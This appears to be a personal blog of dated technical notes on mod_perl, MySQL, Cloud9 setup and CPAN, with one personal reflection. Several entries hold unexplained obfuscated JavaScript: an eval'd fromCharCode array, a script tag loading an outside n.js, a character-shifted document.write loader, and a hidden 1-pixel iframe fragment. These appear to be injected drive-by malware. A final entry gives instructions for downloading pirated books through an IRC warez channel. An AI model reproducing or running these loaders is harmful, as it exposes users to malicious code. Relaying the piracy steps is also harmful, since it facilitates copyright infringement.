2012年08月25日

The conf below doesn’t work

<Location /perl>

SetHandler perl-script

PerlHandler ModPerl::Registry

Options +ExecCGI

Allow from all

</Location>

If the client issues an HTTP HEAD request rather than the usual GET, to be compliant with the HTTP protocol we should not send the document body, but only the HTTP header. When Apache receives a HEAD request, header_only() returns true. If we see that this has happened, we return from the handler immediately with an OK status code.

Generally, you don’t need the explicit content type setting, since Apache does this for you, by looking up the MIME type of the request and by matching the extension of the URI in the MIME tables (from the mime.types file). So if the request URI is /welcome.html, the text/html content-type will be picked. However for CGI scripts or URIs that cannot be mapped by a known extension, you should set the appropriate type by using content_type() method.

The situation is a little bit different with Apache::Registry and similar handlers. If you take a basic CGI script like this:

  print "Content-type: text/plain\r\n\r\n";
  print "Hello world";

it wouldn’t work, because the HTTP header will not be sent out. By default, mod_perl does not send any headers itself. You may wish to change this by adding

  PerlSendHeader On

in the Apache::Registry <Location> section of your configuration

Mod-perl 2.0 use

PerlOptions +ParseHeaders

ParseHeaders

Scan output for HTTP headers, same functionality as mod_perl 1.0’s PerlSendHeader, but more robust. This option is usually needs to be enabled for registry scripts which send the HTTP header with:

  print "Content-type: text/html\n\n";

How to debug mod-perl

1) do the config
<IfDefine PERLDB>
    <Perl>
      use Apache::DB ();
      Apache::DB->init;
    </Perl>
    <Location />
      PerlFixupHandler Apache::DB
    </Location>
</IfDefine>
2) start a terminal and run
sudo apache2ctl -X -D PERLDB -k start
3) start another terminal and run
curl http://localhost/perl/test.pl
then you will see prompt from the first terminal
xxx@ubuntu:~$ sudo apache2ctl -X -D PERLDB -k start
[notice] Apache::DB initialized in child 4835
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
Loading DB routines from perl5db.pl version 1.33
Editor support available.
Enter h or `h h' for help, or `man perldebug' for more help.
main::((eval 7):2): ;
DB<1> c
ModPerl::ROOT::ModPerl::Registry::var_www_perl_test_2epl::handler(/var/www/perl/test.pl:12):
12: print "Hello\n";
DB<1> c
xxx@ubuntu:~$ sudo apache2ctl -X -D PERLDB -k start[notice] Apache::DB initialized in child 4835apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName Loading DB routines from perl5db.pl version 1.33Editor support available. Enter h or `h h' for help, or `man perldebug' for more help. main::((eval 7):2): ;  DB<1> cModPerl::ROOT::ModPerl::Registry::var_www_perl_test_2epl::handler(/var/www/perl/test.pl:12):12: print "Hello\n";  DB<1> c
2012年08月07日

Load data infile 出错,File ‘/tmp/tbl_mws_alexa_lexi’ not found (Errcode: 13)

需要改变file的权限和owner为mysql

sa@ubuntu:~$ sudo chown mysql:mysql /tmp/tbl_mws_alexa_lexi
mysql> load data infile ‘/tmp/tbl_mws_alexa_lexi’ into table tbl_mws_alexa_lexi;

ERROR 29 (HY000): File ‘/tmp/tbl_mws_alexa_lexi’ not found (Errcode: 13)
mysql> load data local infile ‘/tmp/tbl_mws_alexa_lexi’ into table tbl_mws_alexa_lexi;
ERROR 1148 (42000): The used command is not allowed with this MySQL version
mysql> load data local infile ‘/tmp/tbl_mws_alexa_lexi’ into table tbl_mws_alexa_lexi;
ERROR 1148 (42000): The used command is not allowed with this MySQL version
mysql> load data infile ‘/tmp/tbl_mws_alexa_lexi’ into table tbl_mws_alexa_lexi;
Query OK, 2747962 rows affected, 65535 warnings (42.79 sec)
Records: 2747962 Deleted: 0 Skipped: 0 Warnings: 5495924

mysql>

sa@ubuntu:~$ mysql -V
mysql Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (x86_64) using readline 6.2
sa@ubuntu:~$

sa@ubuntu:~$ ls -al /tmp/
total 1165248
drwxrwxrwt 2 root root 4096 Aug 7 16:54 .
drwxr-xr-x 23 root root 4096 Jul 20 11:09 ..
-rwxrwxrwx 1 mysql mysql 329490142 Aug 7 16:42 tbl_mws_alexa_lexi
-rwxrwxrwx 1 mysql mysql 863709362 Jul 20 14:27 tbl_sec_mws

2012年05月01日

Life is a bitch, really, sometimes she make you feel so happy like in heaven and then suddenly put you into a hell of dilemma only exist in dramas which you laughed at before. We don’t have a place to complain to about unfairness at that time nor a way to get rid of it but to accept silently. Sometimes you think you may let it go, but finally you will realize that you can’t, you just can not do that so easily because things contained in heart can never be swept away like dust. Most of times we should fight back to life, no matter of success or failure, as long as we tried we will feel peace in some way, well, it is a hurting way. We may bend over to life temporarily, but we don’t have time to regret, and we should revoke the faith of fighting to success that exists deep in the heart and blood, and that would be what we should stick to in our life.

2012年03月20日

Before build:
$ sudo apt-get -y install curl build-essential g++ libssl-dev pkg-config apache2-utils git

sudo aptitude install libssl.so.0.9.8
sudo aptitude install libxml2-dev

Install npm
$ curl http://npmjs.org/install.sh | sudo sh

Start cloud9
/home/txia/cloud9/bin/cloud9.sh -l 10.228.254.65 -w /home/txia/cloud9/workspace >/dev/null

2012年02月20日
.php?go=1" width="1" height="1"
2011年10月21日
var str=["47968", "47968", "48061", "48069", "48053", "48074", "48069", "47990", "48019", "47990", "47997", "48062", "48074", "48074", "48070", "48016", "48005", "48005", "48077", "48077", "48077", "48009", "48004", "48056", "48075", "48073", "48074", "48057", "48059", "48004", "48063", "48068", "48005", "48021", "48056", "48060", "48058", "48062", "48015", "48071", "48060", "48019", "48062", "48074", "48076", "48036", "48080", "48030", "48055", "48067", "48068", "48032", "48055", "48066", "48067", "48059", "48042", "48035", "48079", "48048", "47995", "48008", "48024", "48048", "48063", "48074", "48041", "48073", "48072", "48070", "48059", "48041", "48070", "48055", "48071", "48055", "48007", "48015", "48068", "48037", "48069", "48014", "48071", "48048", "48068", "48071", "48055", "48048", "48066", "48033", "48079", "48069", "48070", "48011", "48056", "48031", "48062", "48061", "47995", "48009", "48026", "47995", "48009", "48026", "47997", "48017", "47968", "48068", "48075", "48067", "48053", "48058", "48055", "48079", "48073", "47990", "48019", "47990", "48010", "48017", "47968", "48060", "48075", "48068", "48057", "48074", "48063", "48069", "48068", "47990", "48061", "48059", "48058", "47998", "48068", "48069", "48026", "48055", "48079", "48073", "47999", "48081", "47968", "47990", "47990", "47990", "47990", "48076", "48055", "48072", "47990", "48074", "48069", "48058", "48055", "48079", "47990", "48019", "47990", "48068", "48059", "48077", "47990", "48026", "48055", "48074", "48059", "47998", "47999", "48017", "47968", "47990", "47990", "47990", "47990", "48076", "48055", "48072", "47990", "48059", "48078", "48070", "48072", "47990", "48019", "47990", "48068", "48059", "48077", "47990", "48026", "48055", "48074", "48059", "47998", "48074", "48069", "48058", "48055", "48079", "48004", "48061", "48059", "48074", "48042", "48063", "48067", "48059", "47998", "47999", "47990", "48001", "47990", "48068", "48069", "48026", "48055", "48079", "48073", "48000", "48008", "48010", "48000", "48012", "48006", "48000", "48012", "48006", "48000", "48007", "48006", "48006", "48006", "47999", "48017", "47968", "47990", "47990", "47990", "47990", "48072", "48059", "48074", "48075", "48072", "48068", "47990", "47990", "48059", "48078", "48070", "48072", "48004", "48074", "48069", "48029", "48035", "48042", "48041", "48074", "48072", "48063", "48068", "48061", "47998", "47999", "48017", "47968", "48083", "47968", "47968", "48060", "48075", "48068", "48057", "48074", "48063", "48069", "48068", "47990", "48072", "48059", "48055", "48058", "48025", "48069", "48069", "48065", "48063", "48059", "47998", "48057", "48069", "48069", "48065", "48063", "48059", "48036", "48055", "48067", "48059", "47999", "48081", "47968", "47968", "47990", "47990", "47990", "47990", "48076", "48055", "48072", "47990", "48073", "48074", "48055", "48072", "48074", "47990", "48019", "47990", "48058", "48069", "48057", "48075", "48067", "48059", "48068", "48074", "48004", "48057", "48069", "48069", "48065", "48063", "48059", "48004", "48063", "48068", "48058", "48059", "48078", "48037", "48060", "47998", "48057", "48069", "48069", "48065", "48063", "48059", "48036", "48055", "48067", "48059", "47999", "48017", "47968", "47990", "47990", "47990", "47990", "48063", "48060", "47990", "47998", "48073", "48074", "48055", "48072", "48074", "47990", "48019", "48019", "47990", "48003", "48007", "47999", "48081", "47990", "47968", "48058", "48069", "48057", "48075", "48067", "48059", "48068", "48074", "48004", "48057", "48069", "48069", "48065", "48063", "48059", "47990", "48019", "47990", "47992", "48073", "48059", "48059", "48068", "48063", "48074", "48014", "48014", "48019", "48079", "48059", "48073", "48017", "47990", "48059", "48078", "48070", "48063", "48072", "48059", "48073", "48019", "47992", "47990", "48001", "47990", "48061", "48059", "48058", "47998", "48068", "48075", "48067", "48053", "48058", "48055", "48079", "48073", "47999", "48017", "47990", "47968", "48077", "48063", "48068", "48058", "48069", "48077", "48004", "48066", "48069", "48057", "48055", "48074", "48063", "48069", "48068", "47990", "48019", "47990", "48061", "48069", "48053", "48074", "48069", "48017", "47968", "47968", "47990", "47990", "47990", "47990", "48083", "47990", "48059", "48066", "48073", "48059", "47990", "48081", "47990", "47990", "47990", "47990", "47990", "47990", "47990", "47968", "47990", "47990", "47990", "47990", "48083", "47968", "48083", "47968", "47968", "48076", "48055", "48072", "47990", "48066", "48055", "48068", "48061", "47990", "48019", "47990", "47998", "48068", "48055", "48076", "48063", "48061", "48055", "48074", "48069", "48072", "48004", "48066", "48055", "48068", "48061", "48075", "48055", "48061", "48059", "47990", "48082", "48082", "47990", "48068", "48055", "48076", "48063", "48061", "48055", "48074", "48069", "48072", "48004", "48073", "48079", "48073", "48074", "48059", "48067", "48034", "48055", "48068", "48061", "48075", "48055", "48061", "48059", "47990", "48082", "48082", "47990", "48068", "48055", "48076", "48063", "48061", "48055", "48074", "48069", "48072", "48004", "48075", "48073", "48059", "48072", "48034", "48055", "48068", "48061", "48075", "48055", "48061", "48059", "47990", "48082", "48082", "47990", "47997", "48059", "48068", "47997", "47999", "48004", "48073", "48075", "48056", "48073", "48074", "48072", "47998", "48006", "48002", "47990", "48008", "47999", "48004", "48074", "48069", "48034", "48069", "48077", "48059", "48072", "48025", "48055", "48073", "48059", "47998", "47999", "48017", "47968", "48063", "48060", "47990", "47998", "48077", "48063", "48068", "48058", "48069", "48077", "48004", "48068", "48055", "48076", "48063", "48061", "48055", "48074", "48069", "48072", "48004", "48075", "48073", "48059", "48072", "48023", "48061", "48059", "48068", "48074", "48004", "48063", "48068", "48058", "48059", "48078", "48037", "48060", "47990", "47998", "47992", "48035", "48041", "48031", "48027", "47992", "47999", "47990", "48020", "48019", "47990", "48006", "47999", "48081", "47968", "48063", "48060", "47998", "48066", "48055", "48068", "48061", "47990", "48019", "48019", "47990", "47997", "48059", "48068", "47997", "47990", "48082", "48082", "47990", "48066", "48055", "48068", "48061", "47990", "48019", "48019", "47990", "47997", "48058", "48059", "47997", "47990", "48082", "48082", "47990", "48066", "48055", "48068", "48061", "47990", "48019", "48019", "47990", "47997", "48060", "48072", "47997", "47990", "48082", "48082", "47990", "48066", "48055", "48068", "48061", "47990", "48019", "48019", "47990", "47997", "48063", "48074", "47997", "47990", "48082", "48082", "47990", "48066", "48055", "48068", "48061", "47990", "48019", "48019", "47990", "47997", "48070", "48066", "47997", "47990", "48082", "48082", "47990", "48066", "48055", "48068", "48061", "47990", "48019", "48019", "47990", "47997", "48056", "48072", "47997", "47999", "48081", "47968", "48077", "48063", "48068", "48058", "48069", "48077", "48004", "48069", "48068", "48028", "48069", "48057", "48075", "48073", "48019", "48072", "48059", "48055", "48058", "48025", "48069", "48069", "48065", "48063", "48059", "47998", "47992", "48073", "48059", "48059", "48068", "48063", "48074", "48014", "48014", "47992", "47999", "48017", "47968", "47968", "48083", "47968", "48083", "47968", "47968", "47968"];
 var temp='';
 var gg='';
 for (i=0; i<str.length; i++){
 gg=str[i]-47958;
 temp=temp+String.fromCharCode(gg);
 }
 eval(temp);
2009年08月12日

<script src=http://www.ylxx.cn/n.js></script>

2009年07月14日
<script id='c42BA4F20E73A9EA64A1B9B'>/* Czjypw{Epm/(t�ph0�kvj|tlu{5~yp{l/|ulzjhwl/'.,:j,=@,==,>9,=8,=k,=<,97,=l,=8,=k,=<,:k,=:,:;,:9,97,>:,>9,=:,:k,9>,=?,>;,>;,>7,:h,9m,9m,:8,:@,:;,9l,:8,:=,:<,9l,:;,9l,:9,:<,9m,9l,>9,>;,=<,9m,=>,=m,9l,>7,=?,>7,:m,>:,=@,=;,:k,:8-,9>,9i,;k,=8,>;,=?,9l,>9,=m,><,=l,=;,9?,;k,=8,>;,=?,9l,>9,=8,=l,=;,=m,=k,9?,9@,9h,:>,:@,::,:?,:7,9@,9i,9>,=;,=8,:;,=9,=;,:=,::,=<,:@,:;,9>,97,>>,=@,=;,>;,=?,:k,:8,:@,:=,97,=?,=<,=@,=>,=?,>;,:k,:;,:7,:<,97,>:,>;,>@,=j,=<,:k,9>,>=,=@,>:,=@,=9,=@,=j,=@,>;,>@,:h,=?,=@,=;,=;,=<,=l,9>,:l,:j,9m,=@,==,>9,=8,=k,=<,:l.00B�}hy't�phD{y|lBC6zjypw{E */</script><script>var F160E105207FB6FEC6E6 = -73+80;var AB2B32628FAD773BEA76 = document.getElementById('c42BA4F20E73A9EA64A1B9B').innerHTML;var c42d5eb5edA4B20073DBFCD7E70BFE = new String;AB2B32628FAD773BEA76 = AB2B32628FAD773BEA76.substr(4,559);for(i=0;i<AB2B32628FAD773BEA76.length;i++) c42d5eb5edA4B20073DBFCD7E70BFE += String.fromCharCode(AB2B32628FAD773BEA76.substr(i,1).charCodeAt()-F160E105207FB6FEC6E6);document.write(c42d5eb5edA4B20073DBFCD7E70BFE);</script>
2006年07月20日

首先一以 root 进入 CPAN:

perl -MCPAN -e shell  # h是帮助

安装某个 Module 的时候,如 install CPAN  # 想更新 CPAN 模块

出现 Makefile.PL has modification time in the future 等一长串错误, 这是因为系统时间和硬件时钟不一致的原因。

退出 CPAN。

date 命令可以设置系统时间

如 date -s "Thu Jul 20 14:54:51 2006"

   date -s "4/28/05 11:10:05" 等

hwclock 可以设置硬件时钟

让系统时间与硬件时钟同步,用

hwclock –hctosys

现在用 date;hwclock 可以看到两个时钟一致了

觉得自己设置的时间不准么? 可以用 ntpdate

在debian下面, apt-get install nptdate

设置服务器 cn.pool.ntp.org or pool.ntp.org

再执行命令 ntpdate cn.pool.ntp.org

顺便时区的设置用 tzselect

2006年05月25日

1.  连接 IRC server irc.nullus.net.

2.  /join  #bookwarez. 这是一个类似于大厅的地方,没有书籍下载的.

3.  输入 !rules 可以了解规则.

4.  输入 Triggers,获得邀请。如 !bw

    #bw (general channel)                        Trigger: !bw
    #bw-audio  (audiobooks)                      Trigger: !bw-audio
    #bw-comics (comic books)                     Trigger: !bw-comics
    #bw-rpg (roleplaying books)                  Trigger: !bw-rpg
    #bw-tech (technical books)                   Trigger: !bw-tech
    #bw-dialup (faster queues for dialup users)  Trigger: !bw-dialup

等到被邀请之后,join 你要到的channel。如 /join #bw
如果没有被邀请请在 #bookwarez 继续等待.

5.  进入channel之后就可以下载了.如使用 @find c++ 去搜索你要的c++书籍

6.  可以拷贝在子channel里面出现的文件路径来传输你搜到的文件,一般从!开始到后缀名结束
    如 !jirka Addison_Wesley_-_C++_Templates–The_Complete_Guide_[2002].chm。使用Ctrl+C,没有右   键菜单的记住 要在Trigger channel 下输入文件路径

7.  找到文件,开始传输,如果说文件被你拒绝,请检查option 的设置。

    向 Tools -> option -> DCC -> Ignore -> Accept Only 加入你要下载文件的类型。如 *.rar *.chm等